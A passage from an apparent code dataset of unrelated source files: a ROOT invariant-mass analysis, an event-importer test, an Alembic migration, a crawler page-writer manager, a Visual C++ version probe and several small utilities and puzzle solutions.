print(temp_date_df)\n temp_date_df['date'] = temp_date_df['date_y']\n temp_date_df.drop('date_y', axis=1, inplace=True)\n final_df = final_df.append(\n temp_date_df, ignore_index=True\n )\n except Exception as e:\n print(e)\n\n final_df = final_df.fillna(0)\n return final_df\n","sub_path":"finrl/preprocessing/preprocessors.py","file_name":"preprocessors.py","file_ext":"py","file_size_in_byte":10720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"588759252","text":"import sys\nfrom bisect import bisect_left\nfrom collections import deque\ninput = sys.stdin.readline\nsys.setrecursionlimit(30000)\n\na = [False,False] + [True]*(1000001-1)\nprimes=[]\nfor i in range(2,1000001):\n if a[i]:\n primes.append(i)\n for j in range(2*i, 1000001+1, i):\n a[j] = False\n\ndef bfs():\n visit = [2e9 for _ in range(1000001)]\n dq = deque()\n dq.append(N)\n visit[N] = 0\n tm = 0\n while dq:\n tm += 1\n sz = len(dq)\n while sz:\n sz-=1\n cur = dq.popleft()\n for k in [cur + 1, cur // 2, cur //3, cur -1]:\n if k >= 1000001:\n continue\n if k <= 0:\n continue\n if visit[k] > tm:\n visit[k] = tm\n dq.append(k)\n if A<=k<=B and k in primes:\n return tm\n\nfor _ in range(int(input())):\n N,A,B = map(int,input().split())\n\n idx1 = bisect_left(primes, A)\n idx2 = bisect_left(primes, B)\n\n if idx1 == idx2 and primes[idx1] < A or primes[idx1] > B:\n print(-1)\n elif A<=N<=B and N in primes:\n print(0)\n else:\n print(bfs())\n","sub_path":"BaekJoon/18394.py","file_name":"18394.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"509067170","text":"import click\nimport json\nimport os\nfrom nfors.client import NFORS\n\nDEPARTMENT = os.environ.get('NFORS_DEPARTMENT')\nAPI_TOKEN = os.environ.get('NFORS_TOKEN')\n\n@click.group(invoke_without_command=True)\n@click.pass_context\ndef nfors(ctx):\n if ctx.invoked_subcommand is None:\n click.secho(r\"\"\" _ __ ____ ____ ___ ____\n / |/ // __// __ \\ / _ \\ / __/\n / // _/ / /_/ // , _/_\\ \\\n/_/|_//_/ \\____//_/|_|/___/\n \"\"\", fg='green')\n click.echo(nfors.get_help(ctx))\n return ctx.invoked_subcommand\n\n\n@nfors.command(help='Create an NFORS incident from incident JSON file.')\n@click.argument('incident_json', type=click.File('rb'))\ndef create_incident(incident_json):\n \"\"\"\n Creates a new incident from an incident JSON.\n \"\"\"\n nfors = NFORS(DEPARTMENT, API_TOKEN)\n nfors.new_event(json.loads(incident_json.read()))\n\nif __name__ == '__main__':\n nfors()\n","sub_path":"nfors/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"81550907","text":"import ROOT as r\nfrom ROOT import TFile, TTree, TH1F, TCanvas, TMath, TLegend\nimport numpy as np\n\ndatadir = '/disk/lhcb_data2/RLcMuonic2016/MC_full/'\n\nfname = datadir+'Lb_LcDs_MagUp_full.root'\npreselfname = datadir+'Lb_LcDs_MagUp_full_preselectionVars.root'\n\nf = TFile(fname,'READ')\nt = f.Get('tupleout/DecayTree')\nfpresel = TFile(preselfname,'READ')\ntpresel = fpresel.Get('DecayTree')\nt.AddFriend(tpresel)\n\n#df0 = r.RDataFrame(t)\n#df0 = df0.Filter(\"FinalSel==true\")\n\n#Masses pi, K, p\nm_pi = 139.57018 #+/- 0.00035 MeV (PDG)\nm_K = 493.677 #+/- 0.016 MeV (PDG)\nm_p = 938.272081 #+/- 0.000006 MeV (PDG)\nm_mu = 105.6583745 #+/- 0.0000024 MeV (PDG)\nm_Lc = 2286.46 #+/- 0.14 MeV (PDG)\n\n\nh_1mu = r.TH1F('h_1mu',';m (MeV);',100,200,2000)\nh_2mu = r.TH1F('h_2mu',';m (MeV);',100,200,2000)\nh_12 = r.TH1F('h_12',';m (MeV);',100,100,3000)\nh_12mu = r.TH1F('h_12mu',';m (MeV);',200,200,5000)\nh_TOT = r.TH1F('h_TOT',';m (MeV);',200,3000,8000)\nh_LbM = r.TH1F('h_LbM',';m (MeV);',200,1000,7000)\n\nfor i in range(t.GetEntries()):\n t.GetEntry(i)\n if t.FinalSel==True:\n PIDp = t.Lb_ISOLATION_PIDp\n PIDK = t.Lb_ISOLATION_PIDK\n Ch = t.Lb_ISOLATION_CHARGE\n Type = t.Lb_ISOLATION_Type\n NNghost = t.Lb_ISOLATION_NNghost\n PIDp2 = t.Lb_ISOLATION_PIDp2\n PIDK2 = t.Lb_ISOLATION_PIDK2\n Ch2 = t.Lb_ISOLATION_CHARGE2\n Type2 = t.Lb_ISOLATION_Type2\n NNghost2 = t.Lb_ISOLATION_NNghost2\n muCh = -t.mu_ID/13\n #truth matching\n if Type==3 and NNghost<0.2 and Type2==3 and NNghost2<0.2 and t.Lb_BKGCAT<50. and t.Lc_BKGCAT<30.:\n if t.Lb_ISOLATION_BDT>0.35 and t.Lb_ISOLATION_BDT2>0.2:\n #I retrieve the momenta of the 2 anti-isolated particles:\n p1 = np.matrix([t.Lb_ISOLATION_PX, t.Lb_ISOLATION_PY, t.Lb_ISOLATION_PZ])\n p2 = np.matrix([t.Lb_ISOLATION_PX2, t.Lb_ISOLATION_PY2, t.Lb_ISOLATION_PZ2])\n #I see which mass hypothesis is more suitable for the 2 anti isolated particles\n if PIDK>4.:\n if (Ch==-muCh or (Ch==muCh and (PIDp-PIDK)<0.)):\n #I also assume this particle is a K\n m1 = m_K \n if (Ch==muCh and PIDp-PIDK>0.):\n #In this case I assume it is a proton\n m1 = m_p\n else: #if it does not satisfy the hypothesis for being a K, I assume it is a pi\n m1 = m_pi\n #and I check which masses I can assume for the second\n if PIDK2>4.: \n if (Ch2==-muCh or (Ch2==muCh and (PIDp2 - PIDK2)<0.)):\n #I also assume this particle is a K\n m2 = m_K\n if (Ch2==muCh and PIDp2-PIDK2>0.):\n #In this case I assume it is a proton\n m2 = m_p\n else: #if it does not satisfy the hypothesis for being a K, I assume it is a pi\n m2 = m_pi\n\n #I compute the energy of the 2 particles:\n E1 = r.TMath.Sqrt(p1*p1.transpose() + m1*m1)\n E2 = r.TMath.Sqrt(p2*p2.transpose() + m2*m2)\n\n #I retrieve the momentum of the muon\n pmu = np.matrix([t.mu_PX, t.mu_PY, t.mu_PZ])\n Emu = r.TMath.Sqrt(pmu*pmu.transpose() + m_mu*m_mu)\n\n #I evaulate the total energy and momentum of the following combinations: 1+mu, 2+mu, 1+2, 1+2+mu\n E1mu = E1+Emu\n p1mu = p1+pmu\n\n E2mu = E2+Emu\n p2mu = p2+pmu\n\n E12 = E1+E2\n p12 = p1+p1\n\n E12mu = E1+E2+Emu\n p12mu = p1+p2+pmu\n\n #and I retrieve the invariant mass for the 4 hypothesis\n m1mu = r.TMath.Sqrt(E1mu*E1mu - p1mu*p1mu.transpose())\n m2mu = r.TMath.Sqrt(E2mu*E2mu - p2mu*p2mu.transpose())\n m12 = r.TMath.Sqrt(E12*E12 - p12*p12.transpose())\n m12mu = r.TMath.Sqrt(E12mu*E12mu - p12mu*p12mu.transpose())\n\n h_1mu.Fill(m1mu)\n h_2mu.Fill(m2mu)\n h_12.Fill(m12)\n h_12mu.Fill(m12mu)\n\n #I retrieve the momentum of the Lambda_c\n pLc = np.matrix([t.Lc_PX, t.Lc_PY, t.Lc_PZ])\n ELc = r.TMath.Sqrt(pLc*pLc.transpose() + m_Lc*m_Lc)\n\n #I compute the total momentum and energy of the 4 particles:\n pTOT = p12mu + pLc\n ETOT = E12mu + ELc\n #I evaluate the invariant mass\n mTOT = r.TMath.Sqrt(ETOT*ETOT - pTOT*pTOT.transpose())\n h_TOT.Fill(mTOT)\n\n h_LbM.Fill(t.Lb_M)\n\nc = TCanvas('c','1+mu',500,500)\nh_1mu.Draw()\n\nc1 = TCanvas('c1','2+mu',500,500)\nh_2mu.Draw()\n\nc3 = TCanvas('c3','1+2',500,500)\nh_12.Draw()\n\nc4 = TCanvas('c4','1+2+mu',500,500)\nh_12mu.Draw() \n\nc5 = TCanvas('c5','tot',500,500)\nh_TOT.Draw()\n \nc6 = TCanvas('c6','LbM',500,500)\nh_LbM.Draw()\n","sub_path":"DoubleCharm/StudyMasses_MC.py","file_name":"StudyMasses_MC.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"220658812","text":"import pytest\nimport pytz\nimport dateutil.parser\n\nfrom events.importer.osterbotten import OsterbottenImporter\nfrom unittest.mock import MagicMock\nfrom lxml import etree\nfrom urllib.parse import urlparse, parse_qs\n\nfrom .utils import get\nfrom .utils import versioned_reverse as reverse\n\n\n# === util methods ===\n\n\ndef get_event(api_client, id):\n detail_url = reverse('event-detail', version='v1', kwargs={'pk': id, }) + \"?include=location,keywords\"\n response = get(api_client, detail_url, data=None)\n return response.data\n\n\ndef assert_imported_osterbotten_event(locale, api_event, osterbotten_event):\n timezone = pytz.timezone('Europe/Helsinki')\n\n assert get_osterbotten_event_id(osterbotten_event) == api_event[\"id\"]\n assert dateutil.parser.parse(osterbotten_event.xpath('Start')[0].text).astimezone(\n timezone) == dateutil.parser.parse(api_event[\"start_time\"])\n assert dateutil.parser.parse(osterbotten_event.xpath('End')[0].text).astimezone(\n timezone) == dateutil.parser.parse(api_event[\"end_time\"])\n\n assert osterbotten_event.xpath('Link')[0].text == api_event[\"info_url\"][locale]\n assert osterbotten_event.xpath('Title')[0].text == api_event[\"name\"][locale]\n assert osterbotten_event.xpath('EventText')[0].text == api_event[\"description\"][locale]\n assert osterbotten_event.xpath('EventTextShort')[0].text == api_event[\"short_description\"][locale]\n\n assert osterbotten_event.xpath('Place')[0].text == api_event[\"location\"][\"name\"][locale]\n assert osterbotten_event.xpath('PostalOffice')[0].text == api_event[\"location\"][\"address_locality\"][locale]\n assert osterbotten_event.xpath('PostalAddress')[0].text == api_event[\"location\"][\"street_address\"][locale]\n assert osterbotten_event.xpath('PostalCode')[0].text == api_event[\"location\"][\"postal_code\"]\n\n is_free = osterbotten_event.xpath('PriceType')[0].text == \"Free\"\n assert is_free == api_event[\"offers\"][0][\"is_free\"]\n assert osterbotten_event.xpath('PriceHidden')[0].text == api_event[\"offers\"][0][\"price\"][locale]\n assert osterbotten_event.xpath('PriceText')[0].text == api_event[\"offers\"][0][\"description\"][locale]\n\n categories = osterbotten_event.xpath('Categories')[0]\n for category in categories:\n categoryId = category.xpath('ID')[0].text\n categoryText = category.xpath('Name')[0].text\n keywordId = \"osterbotten:category_{}\".format(categoryId)\n api_keyword = next(keyword for keyword in api_event[\"keywords\"] if keyword[\"id\"] == keywordId)\n assert categoryText == api_keyword[\"name\"][locale]\n\n targetGroups = osterbotten_event.xpath('TargetGroups')[0]\n for targetGroup in targetGroups:\n targetGroupId = targetGroup.xpath('ID')[0].text\n targetGroupText = targetGroup.xpath('Name')[0].text\n keywordId = \"osterbotten:target_{}\".format(targetGroupId)\n\n api_keyword = next(keyword for keyword in api_event[\"keywords\"] if keyword[\"id\"] == keywordId)\n assert targetGroupText == api_keyword[\"name\"][locale]\n\n\ndef get_osterbotten_event_id(osterbotten_event):\n return \"osterbotten:{}\".format(osterbotten_event.xpath('ID')[0].text)\n\n\ndef read_osterbotten_event(index, locale):\n return open(\"events/tests/static/osterbotten/event_{}_{}.xml\".format(index + 1, locale), \"r\").read()\n\n\n@pytest.fixture\ndef osterbotten_event_1_fi():\n return etree.fromstring(read_osterbotten_event(0, 'fi'))\n\n\n@pytest.fixture\ndef osterbotten_event_2_fi():\n return etree.fromstring(read_osterbotten_event(1, 'fi'))\n\n\ndef mock_items_1_from_url(url):\n query = parse_qs(urlparse(url).query)\n start = query.get(\"Start\")[0]\n locale = query.get(\"Locale\")[0]\n\n if start == \"0\":\n if locale == \"fi_FI\":\n events = [read_osterbotten_event(0, \"fi\")]\n elif locale == \"sv_SE\":\n events = [read_osterbotten_event(0, \"sv\")]\n\n events_template = open(\"events/tests/static/osterbotten/events.xml\", \"r\").read()\n\n return etree.fromstring(events_template.replace(\"___EVENTS___\", ' '.join(map(str, events)))).xpath('Events/Event')\n\n\ndef mock_items_2_from_url(url):\n query = parse_qs(urlparse(url).query)\n start = query.get(\"Start\")[0]\n locale = query.get(\"Locale\")[0]\n events = []\n\n if start == \"0\":\n if locale == \"fi_FI\":\n events = [read_osterbotten_event(0, \"fi\"), read_osterbotten_event(1, \"fi\")]\n elif locale == \"sv_SE\":\n events = [read_osterbotten_event(0, \"sv\")]\n\n events_template = open(\"events/tests/static/osterbotten/events.xml\", \"r\").read()\n return etree.fromstring(events_template.replace(\"___EVENTS___\", ' '.join(map(str, events)))).xpath('Events/Event')\n\n\ndef mock_municipalities_from_url(url):\n response_file = open(\"events/tests/static/osterbotten/municipalities.xml\", \"r\")\n return etree.fromstring(response_file.read()).xpath('Municipalities/Municipality')\n\n\n# === tests ===\n\n\n@pytest.mark.django_db\ndef test_import_osterbotten_events(api_client, osterbotten_event_1_fi, osterbotten_event_2_fi):\n importer = OsterbottenImporter({'verbosity': True, 'cached': False})\n importer.setup()\n importer.items_from_url = MagicMock(side_effect=mock_items_2_from_url)\n importer.municipalities_from_url = MagicMock(side_effect=mock_municipalities_from_url)\n importer.import_events()\n\n event_1_id = get_osterbotten_event_id(osterbotten_event_1_fi)\n event_2_id = get_osterbotten_event_id(osterbotten_event_2_fi)\n assert_imported_osterbotten_event(\"fi\", get_event(api_client, event_1_id), osterbotten_event_1_fi)\n assert_imported_osterbotten_event(\"fi\", get_event(api_client, event_2_id), osterbotten_event_2_fi)\n","sub_path":"events/tests/test_importer_osterbotten.py","file_name":"test_importer_osterbotten.py","file_ext":"py","file_size_in_byte":5626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"130284432","text":"\"\"\"empty message\n\nRevision ID: 660052d566ee\nRevises: a87a28ddce04\nCreate Date: 2016-08-04 19:46:14.015897\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '660052d566ee'\ndown_revision = 'a87a28ddce04'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_index(u'ix_users_email', 'users', ['email'], unique=True)\n op.drop_index(u'ix_users_username', table_name='users')\n op.create_index(u'ix_users_username', 'users', ['username'], unique=False)\n op.drop_constraint(u'users_email_key', 'users', type_='unique')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_unique_constraint(u'users_email_key', 'users', [u'email'])\n op.drop_index(u'ix_users_username', table_name='users')\n op.create_index(u'ix_users_username', 'users', [u'username'], unique=True)\n op.drop_index(u'ix_users_email', table_name='users')\n ### end Alembic commands ###\n","sub_path":"vagrant/catalog/migrations/versions/660052d566ee_.py","file_name":"660052d566ee_.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"333331714","text":"class Solution:\n def isBipartite(self, graph: List[List[int]]) -> bool:\n def BFS(currNode):\n nonlocal bipartite\n if currNode in visited: return\n neighbors = graph[currNode]\n currPartition = assigned[currNode]\n\n for n in neighbors:\n if n in assigned:\n if assigned[n] == currPartition: \n bipartite = False\n else: #not assigned yet\n assigned[n] = not currPartition\n visited[currNode] = True\n \n for n in neighbors: BFS(n)\n\n \n # dict to store partitions: O(V) storage\n visited = {}\n assigned = {}\n bipartite = True\n \n # BFS, each frontier must be opposite the previous\n for i in range(len(graph)):\n if i not in visited: #in case there are unconnected nodes\n assigned[i] = True\n BFS(i)\n \n return bipartite\n\n","sub_path":"is-graph-bipartite.py","file_name":"is-graph-bipartite.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"56003500","text":"#============= enthought library imports =======================\n#============= standard library imports ========================\n#import os\nimport time\n#============= local library imports ==========================\nfrom src.scripts.file_script import FileScript\n#from preferences import preferences\nfrom src.scripts.core.script_helper import equilibrate\nclass CameraScanScript(FileScript):\n def load(self):\n '''\n '''\n if self.set_data_frame():\n self.start()\n return True\n def load_file(self):\n '''\n '''\n self.zoom = float(self._file_contents_.pop(0))\n self.beam_diameter = float(self._file_contents_.pop(0))\n\n def set_data_frame(self):\n '''\n '''\n if super(CameraScanScript, self).set_data_frame():\n dm = self.data_manager\n dm.add_group('camera_scan')\n dm.add_table('scan', parent = 'root.camera_scan', table_style = 'CameraScan')\n return True\n\n def kill_script(self):\n '''\n '''\n super(CameraScanScript, self).kill_script()\n manager = self.manager\n\n self.info('disabling laser')\n manager.disable_laser()\n manager.video_manager.stop('camera_scan')\n self.info('end script')\n\n def _run_(self):\n '''\n '''\n manager = self.manager\n\n self.info('starting script')\n\n #open a video connection\n self.info('start camera')\n\n manager.video_manager.start('camera_scan')\n\n #set the zoom\n self.info('set zoom')\n self.add_output('setting zoom %0.1f' % self.zoom)\n manager.logic_board.set_zoom(self.zoom, block = True)\n\n self.info('set beam diameter')\n self.add_output('setting beam diameter %0.1f' % self.beam_diameter)\n manager.logic_board.set_beam_diameter(self.beam_diameter, block = True)\n\n delay = 1\n self.info('delay %i' % delay)\n time.sleep(delay)\n\n #turn laser on\n self.info('enabling laser for firing')\n self.add_output('ENABLING LASER', color = 'red')\n manager.enable_laser()\n\n for line in self._file_contents_:\n if self.isAlive():\n setpoint = float(line)\n #set laser power\n self.info('control to setpoint %s' % setpoint)\n manager.set_laser_power(setpoint, 'closed')\n\n if self.isAlive():\n #wait until setpoint is reached\n self.add_output('Equilbrating to %0.1f' % setpoint)\n self.info(' equilibrating to %0.1f ' % setpoint)\n if not manager.simulation:\n equilibrate(self,\n manager.temperature_controller.get_temperature,\n setpoint)\n else:\n time.sleep(2.0)\n\n if self.isAlive():\n\n #grab a frame and save it\n self.info('accumulate and save video frame')\n ta = manager.video_manager.process_current_frame()\n\n\n msg = ','.join(['%0.3f' % ta.val[i] for i in range(3)])\n self.add_output('Target value = (%s)' % msg)\n# manager.video_manager.accumulate_frames(setpoint,5,1)\n\n\n\n# def _equilibrate_(self,setpoint,n=5,**kw):\n# self.add_output('Equilbrating to %0.1f'%setpoint)\n# self.logger.info('====== equilibrating to %0.1f ======'%setpoint)\n\n# manager=self.manager\n# temps=[]\n# while not manager.simulation and not self.kill:\n# \n# temp=manager.temperature_controller.get_temperature()\n# args=check_point(temps,temp,setpoint,n,mean_tolerance=5,**kw)\n# \n# temps=args[1]\n# if args[0]:\n# break\n# else:\n# if len(args)>2:\n# self.logger.info('====== mean= %(mean)0.3f, std= %(std)0.3f ======'%args[2])\n# time.sleep(1.0)\n# else:\n# time.sleep(2.0)\n#============= EOF ====================================\n","sub_path":"src/scripts/laser_scripts/camera_scan_script.py","file_name":"camera_scan_script.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"538982973","text":"# -*- coding: utf8 -*-\n__author__ = 'te@nexttuesday.de'\n\"\"\"\n\n )¯¯`'¯¸¯¯`,)¯¯|)¯¯)'‚/¯¯|\\¯¯¯\\')¯¯`'¯¸¯¯`, ___ )¯¯ )' )¯¯ )' ___ )¯¯|)¯¯)'‚\n(____)–-·´'(__(\\ ¯¯¯(°\\__'\\|__/(____)–-·´'|¯¯(\\__('(___(¸.––-,(___(¸.––-,°|¯¯(\\__('(__(\\ ¯¯¯(°\n ° ¯¯¯¯ ° |__(/¯¯¯(‘ ¯¯¯ ¯¯¯ |__(/¯¯¯(‘ ¯¯¯¯\n '‚ '‚ ¯¯¯¯'‘ ¯¯¯¯'‘\n\nCopyright (c) 2013, Thomas Einsporn\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n * Neither the name of the nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nclass Style(object):\n\n spinner_pos = 0\n progress_width = 0\n current = 0\n maximum = 0\n percent = 0\n\n def update_spinner(self):\n \"\"\"\n update spinner position\n \"\"\"\n spinner_pos = self.spinner_pos + 1\n if spinner_pos >= len(self.spinner):\n spinner_pos = 0\n self.spinner_pos = spinner_pos\n\n def update_progress(self, current, maximum):\n \"\"\"\n calculate progress bar position based on current, maximum value and progress bar maxwidth\n \"\"\"\n if not maximum > 0:\n maximum = self.maximum\n if current > self.current:\n self.current = current\n\n if maximum > 0:\n percent = self.current * 100.0 / maximum\n self.percent = percent\n self.progress_width = int(percent / 100.0 * self.progress_maxwidth)\n self.maximum = maximum\n\n def output(self, current=0, maximum=0, *args, **kw):\n \"\"\"\n update positions and get styled output\n \"\"\"\n if hasattr(self, 'spinner_width'):\n self.update_spinner()\n if hasattr(self, 'progress_maxwidth'):\n self.update_progress(current, maximum)\n output = self._output(*args, **kw)\n return output\n","sub_path":"propeller/styles/style.py","file_name":"style.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"412189868","text":"import subprocess\r\nimport os\r\n\r\ndef get_path(version_num):\r\n p = os.getenv('VS' + str(version_num) + 'COMNTOOLS')\r\n if p:\r\n return p[:-15] # Strip off '\\Common7\\Tools\\'\r\n\r\ndef make_default(number, id):\r\n versions = []\r\n pad = \"\"\r\n if len(id) == 3:\r\n pad = \" \"\r\n\r\n base_path = get_path(number)\r\n if base_path:\r\n versions.append({'version':id+' '+pad,'command':\r\n base_path + \"\\\\VC\\\\bin\\\\cl.exe\", 'sys_path_add':\r\n base_path + \"\\\\Common7\\\\IDE\"})\r\n versions.append({'version':id+'-64 '+pad,'command':\r\n base_path + \"\\\\VC\\\\bin\\\\amd64\\\\cl.exe\",\r\n 'sys_path_add':\r\n base_path + \"\\\\Common7\\\\IDE\"})\r\n versions.append({'version':id+'-32-64'+pad,'command':\r\n base_path + \"\\\\VC\\\\bin\\\\x86_amd64\\\\cl.exe\",\r\n 'sys_path_add':\r\n base_path + \"\\\\Common7\\\\IDE\"})\r\n return versions \r\n\r\ndef make_modern(number, id):\r\n versions = []\r\n\r\n base_path = get_path(number)\r\n if base_path:\r\n versions.append({'version':id+' ','command':\r\n base_path + \"\\\\VC\\\\bin\\\\cl.exe\", 'sys_path_add':\r\n base_path + \"\\\\VC\\\\bin\\\\\"})\r\n versions.append({'version':id+'-64 ','command':\r\n base_path + \"\\\\VC\\\\bin\\\\amd64\\\\cl.exe\",\r\n 'sys_path_add':\r\n base_path + \"\\\\VC\\\\bin\\\\\"})\r\n versions.append({'version':id+'-32-64','command':\r\n base_path + \"\\\\VC\\\\bin\\\\x86_amd64\\\\cl.exe\",\r\n 'sys_path_add':\r\n base_path + \"\\\\VC\\\\bin\\\\\"})\r\n return versions\r\n\r\n\r\ndef make_vc8():\r\n return make_default('80','vc8')\r\n \r\ndef make_vc9():\r\n return make_default('90','vc9')\r\n \r\ndef make_vc10():\r\n return make_default('100','vc10')\r\n\r\ndef make_vc11():\r\n return make_default('110','vc11')\r\n\r\ndef make_vc12():\r\n return make_modern('120', 'vc12')\r\n\r\ndef make_vc14():\r\n return make_modern('140', 'vc14')\r\n \r\ndef make_versions():\r\n versions = []\r\n versions += make_vc8()\r\n versions += make_vc9()\r\n versions += make_vc10()\r\n versions += make_vc11()\r\n versions += make_vc12()\r\n versions += make_vc14()\r\n return versions\r\n \r\ndef parse_version_output(ver):\r\n #example: b'Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.762 for 80x86\\r\\nCopyright (C) Microsoft Corporation. All rights reserved.\\r\\n\\r\\n'\r\n full = ver.decode('utf-8')\r\n words = full.split()\r\n num_index = 0\r\n for w in words:\r\n if w == \"Version\":\r\n break\r\n num_index += 1\r\n \r\n num_index += 1 # Word after \"Version\"\r\n \r\n number = words[num_index]\r\n arch = words[num_index + 2]\r\n \r\n return full, number, arch\r\n\r\ndef get_version_info(): \r\n versions = make_versions()\r\n for v in versions:\r\n existing_path = os.getenv('PATH')\r\n os.environ['PATH'] = v['sys_path_add'] + \";\" + existing_path\r\n p = subprocess.Popen(v['command'], stdout=subprocess.PIPE, \r\n stderr=subprocess.PIPE)\r\n out, err = p.communicate()\r\n v['full'], v['number'], v['arch'] = parse_version_output(err)\r\n return versions\r\n\r\ndef print_version_info():\r\n versions = get_version_info()\r\n for version in versions:\r\n print(version['version'] + \" - \" + version['number'] + \" - \" + \r\n version['arch'])\r\n #print(version['full'])\r\n\r\nif __name__ == \"__main__\":\r\n print_version_info()\r\n","sub_path":"Regression/vc_versions.py","file_name":"vc_versions.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"293264442","text":"#!/usr/bin/python\n# Copyright 2014 LeTV Inc. All Rights Reserved.\n__author__ = 'guoxiaohe@letv.com'\n\nimport Queue\nimport threading\nimport time\n\nfrom scrapy.utils.misc import load_object\nfrom scrapy.utils.project import get_project_settings\n\n\nwriter_handlers = '''\nle_crawler.common.page_local_writer.PageLocalWriter\n'''\n\n# le_crawler.common.today_tv_writer.TodayTvWriter\n# le_crawler.common.page_local_writer.PageLocalWriter\nclass PageWriterManager(threading.Thread):\n def __init__(self, queue_max_size=1024, spider=None):\n threading.Thread.__init__(self)\n self.data_queue_ = Queue.LifoQueue(maxsize=queue_max_size)\n self.exit_ = False\n # base on PageWriter\n self.writers_ = {}\n self.spider_ = spider\n self.logger_ = spider.logger_\n self.process_exit_ = False\n self.all_exited_ = False\n self._gen_writer(get_project_settings()['CRAWL_DOC_WRITERS'] or writer_handlers)\n\n def exit(self):\n self.logger_.info('page writer manager receive exit')\n self.exit_ = True\n while not self.all_exited_:\n time.sleep(2)\n\n def _gen_writer(self, writer_clss):\n if not writer_clss:\n return None\n writers = filter(lambda l: l != '', [s.strip() for s in writer_clss.split(',')])\n if not writers:\n self.logger_.info('writer string flag is empty[%s]', writer_clss)\n for w in writers:\n obj = load_object(w)(self.spider_)\n self.writers_[obj.name] = obj\n obj._initialize()\n self.logger_.info('create writer [%s]', obj.name)\n\n\n def _finalize(self):\n for name, writer in self.writers_.items():\n self.logger_.info('finalize writer[%s]', name)\n writer.finalize()\n self.logger_.info('finished finalize writer[%s]', name)\n\n\n def add_item(self, item):\n if not item:\n return\n while 1:\n try:\n self.data_queue_.put(item, block=True, timeout=5)\n return\n except:\n self.logger_.exception('failed to enqueue item, size %d', self.data_queue_.qsize())\n continue\n\n def run(self):\n consu_thread = threading.Thread(target=self.process_items, args=())\n consu_thread.start()\n time_count = 0\n log_interval = 300\n while not self.process_exit_:\n if time_count % log_interval == 0:\n time_count = 1\n for name, writer in self.writers_.items():\n writer_status = writer.status()\n if writer_status:\n self.logger_.info(\"[%s] status: [%s]\", name, writer_status)\n time_count += 1\n time.sleep(1)\n\n self._finalize()\n self.logger_.info('Writer Manager Exit')\n self.all_exited_ = True\n\n def process_items(self):\n self.logger_.info('Page writer manager consumer start...')\n while not self.exit_ or not self.data_queue_.empty():\n try:\n item = self.data_queue_.get(block=True, timeout=10)\n except Queue.Empty:\n continue\n if not item:\n continue\n for name, writer in self.writers_.items():\n try:\n writer.process_item(item)\n except:\n self.logger_.exception('error while using [%s] writer', name)\n continue\n self.process_exit_ = True\n self.logger_.info('Page writer manager exit normal')\n\n","sub_path":"parse_copy/le_crawler/common/page_writer_manager.py","file_name":"page_writer_manager.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"530852137","text":"from rest_framework import serializers\r\nfrom .models import *\r\n\r\nclass UserSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = User\r\n fields = ('id','userID','firstName','middleName','lastName','jobTitle','email','officePhone','cellPhone','prefix')\r\nclass ProductSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = Product\r\n fields = ('id', 'modelNumber', 'productName', 'cellTechnology', 'cellManufacturer', 'numberOfCells',\r\n 'numberOfCellsInSeries', 'numberOfSeriesStrings', 'numberOfDiodes', 'productLength',\r\n 'productWidth', 'productWeight', 'superstateType', 'superstateManufacturer', 'substrateType',\r\n 'substrateManufacturer', 'frameType', 'frameAdhesive', 'encapsulateType', 'encapsulantManufacturer',\r\n 'junctionBoxType', 